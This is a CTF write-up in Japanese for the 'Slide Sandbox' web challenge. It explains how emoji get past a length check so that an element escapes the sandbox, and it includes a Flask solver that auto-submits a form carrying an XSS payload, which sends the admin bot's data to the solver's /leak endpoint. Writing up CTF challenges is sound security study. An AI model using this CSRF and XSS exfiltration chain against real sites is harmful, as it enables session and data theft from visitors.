web/Slide Sandbox
code:js
const ans = puzzle.answers.split('').sort(() => Math.random() - 0.5);
ans.forEach((v, i) => {
pieces.push(document.createElement("div"));
})
pieces.push(document.createElement("div"))
for (var i = 0; i < frames.length; i++) {
framesi.addEventListener("click", slide); framesi.document.body.appendChild(piecesi); }
piecesのlengthはpuzzle.answers.split('')のlength+1、一方frameのlengthは固定で9。なのでanswersの文字数を8よりも多くできればiframeに移動しないdiv要素ができる。ただし、バックエンド側でanswersのlength=8に指定されている。
ここで絵文字などの多バイト文字はJSのsplit('')で8byteごとに分割される。なので絵文字を用いれば文字数が8だが、splitしたもののlengthは9のanswersが作成できる。
よって次のソルバーを動かし、admin botにhttp://solver/exploitを通報し、http://solverにアクセスするとフラグ獲得。
code:python
from flask import Flask, Response, request
import re
import requests
app = Flask(__name__)
flag = ""
@app.route('/')
def main():
return flag
# to report to admin bot
@app.route('/exploit')
def exploit():
title = "leak"
template = f"""<img src=x onerror='fetch(/puzzles).then((r)=>r.json()).then((r)=>location.href={EXPLOIT_URL}/leak?f=${{r[0]["title"]}})'>"""
answers = "🌞🌞123456"
return f"""
<form id="puzzleForm" action="{TARGET_URL}/create" method="POST">
<input type="text" name="title" value="{title}">
<textarea name="template">{template}</textarea>
<input type="text" name="answers" value="{answers}">
<button type="submit">Submit</button>
</form>
<script>
document.getElementById("puzzleForm").submit();
</script>
"""
# to leak flag
@app.route('/leak')
def leak():
global flag
flag = request.args.get('f')
return flag
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)